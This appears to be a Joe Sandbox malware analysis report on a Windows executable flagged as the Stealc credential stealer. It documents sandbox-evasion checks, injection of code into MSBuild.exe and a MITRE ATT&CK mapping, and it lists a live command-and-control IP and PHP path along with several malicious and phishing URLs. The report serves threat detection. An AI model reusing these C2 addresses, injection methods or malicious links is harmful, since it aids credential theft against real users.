Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe

API coverage: 4.2 %

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe

Code function: 0_2_00869ABF FindFirstFileExW,

0_2_00869ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00401160 GetSystemInfo,

3_2_00401160

Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8t
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware-
Source: Amcache.hve.7.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.7.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.7.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware-42 27 ae 88 8c 2b 21 02-a5 86 22 5b 84 51 ac f0
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: MSBuild.exe, 00000003.00000002.1325290714.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~nQC
Source: Amcache.hve.7.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe

Code function: 0_2_00857922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00857922

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

3_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

3_2_0041C03D

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_00852003 mov edi, dword ptr fs:[00000030h]	0_2_00852003
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_00896628 mov eax, dword ptr fs:[00000030h]	0_2_00896628
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_0086A64C mov eax, dword ptr fs:[00000030h]	0_2_0086A64C
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_00860F2E mov ecx, dword ptr fs:[00000030h]	0_2_00860F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00419750 mov eax, dword ptr fs:[00000030h]	3_2_00419750

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe

Code function: 0_2_0086CC4B GetProcessHeap,

0_2_0086CC4B

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_00857610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00857610
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_00857922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00857922
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_00857AAF SetUnhandledExceptionFilter,	0_2_00857AAF
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_0085DA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0085DA73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041CEEA SetUnhandledExceptionFilter,	3_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041B33A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: MmcJhaiYNh.exe PID: 7676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7744, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 82E008	Jump to behavior

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"			Jump to behavior
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"			Jump to behavior

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_0086C085
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: GetLocaleInfoW,	0_2_0086622B
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: EnumSystemLocalesW,	0_2_0086C327
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: EnumSystemLocalesW,	0_2_0086C372
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0086C498
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: EnumSystemLocalesW,	0_2_0086C40D
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: GetLocaleInfoW,	0_2_0086C6EB
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0086C814
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0086C9E9
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: GetLocaleInfoW,	0_2_0086C91A
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: EnumSystemLocalesW,	0_2_00865D7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe

Code function: 0_2_00857815 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00857815

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00417850 GetUserNameA,

3_2_00417850

Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MmcJhaiYNh.exe.87dad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MmcJhaiYNh.exe.87dad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MmcJhaiYNh.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MmcJhaiYNh.exe.87dad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MmcJhaiYNh.exe.87dad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MmcJhaiYNh.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	311 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
MmcJhaiYNh.exe	44%	Virustotal		Browse
MmcJhaiYNh.exe	100%	Avira	HEUR/AGEN.1310458
MmcJhaiYNh.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
bg.microsoft.map.fastly.net	0%	Virustotal		Browse
s-part-0032.t-0009.t-msedge.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
http://62.204.41.150	9%	Virustotal		Browse
http://62.204.41.150/edd20096ecef326d.php-	6%	Virustotal		Browse
http://62.204.41.150/	9%	Virustotal		Browse
http://62.204.41.150/edd20096ecef326d.php	12%	Virustotal		Browse
http://62.204.41.150/edd20096ecef326d.php5	8%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.204.41.150/	true	9%, Virustotal, Browse	unknown
http://62.204.41.150/edd20096ecef326d.php	true	12%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.7.dr	false	URL Reputation: safe	unknown
http://62.204.41.150/Tg$	MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.204.41.150	MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	true	9%, Virustotal, Browse	unknown
http://62.204.41.150/edd20096ecef326d.php-	MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	false	6%, Virustotal, Browse	unknown
http://62.204.41.150/edd20096ecef326d.phpows	MSBuild.exe, 00000003.00000002.1325290714.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.204.41.150/W	MSBuild.exe, 00000003.00000002.1325290714.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.204.41.150/edd20096ecef326d.phpn8	MSBuild.exe, 00000003.00000002.1325290714.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.204.41.150/edd20096ecef326d.php5	MSBuild.exe, 00000003.00000002.1325290714.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	false	8%, Virustotal, Browse	unknown
http://62.204.41.150=	MSBuild.exe, 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.204.41.150	unknown	United Kingdom		30798	TNNET-ASTNNetOyMainnetworkFI	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528589
Start date and time:	2024-10-08 03:23:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MmcJhaiYNh.exe renamed because original name is a hash value
Original Sample Name:	ac01d961f8d6509a9363de460482e87b.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/5@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 20 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.4, 20.190.159.0, 20.190.159.68, 20.190.159.71, 40.126.31.69, 40.126.31.73, 20.190.159.64, 20.190.159.23, 199.232.214.172, 20.42.65.92, 52.149.20.212, 13.85.23.206, 4.245.163.56, 40.69.42.241
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, otelrules.afd.azureedge.net, www.tm.lg.prod.aadmsa.akadns.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:24:11	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
62.204.41.150	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.150/edd20096ecef326d.php
	Aew8SXjXEb.exe	Get hash	malicious	Stealc	Browse	62.204.41.150/edd20096ecef326d.php
	RJQySowVRb.exe	Get hash	malicious	Stealc	Browse	62.204.41.150/edd20096ecef326d.php
	1f13Cs1ogc.exe	Get hash	malicious	Stealc	Browse	62.204.41.150/edd20096ecef326d.php
	5rVhexjLCx.exe	Get hash	malicious	Stealc	Browse	62.204.41.150/edd20096ecef326d.php
	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.150/edd20096ecef326d.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0032.t-0009.t-msedge.net	https://starylasfe.com.de/6SZZr/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.ht.zpdzwq?v=frudxdBjlfmjfqymhfwj.ht.pjd.kwjsy___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpiNGZlZGFhNjcxOTBhYjU4MTE5MjBlZTRiYTAxZmUwMTo3OmIxYWM6MDg1ODNlNjljZDkwNThkM2ZiM2RjYTI4MzFjZGY4NGFmMTYyZTlhYmVjYWYxY2Q4MmNkZDhiNmFmOWVkOWUxOTpoOlQ6VA#Sm9hbi5LbmlwcGVuQEVsa2F5LkNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.60
	utmggBCMML.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.246.60
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.60
	https://login.stmarytx.edu/cas/logout?service=http%3A%2F%2Fgoogle.com%2Famp%2Fmatrikaengineeringworks.com/hebc/?#?m=bWVsaXNzYWdAd2Utd29ybGR3aWRlLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	13.107.246.60
bg.microsoft.map.fastly.net	ctMI3TYXpX.exe	Get hash	malicious	SmokeLoader	Browse	199.232.214.172
	https://starylasfe.com.de/6SZZr/	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse	199.232.210.172
	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	http://pay.christinagstewart.com/	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	h2qWqtD73F.exe	Get hash	malicious	Xmrig	Browse	199.232.214.172
	SecuriteInfo.com.Win32.PWSX-gen.27846.23954.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	https://login.stmarytx.edu/cas/logout?service=http%3A%2F%2Fgoogle.com%2Famp%2Fmatrikaengineeringworks.com/hebc/?#?m=bWVsaXNzYWdAd2Utd29ybGR3aWRlLmNvbQ==	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
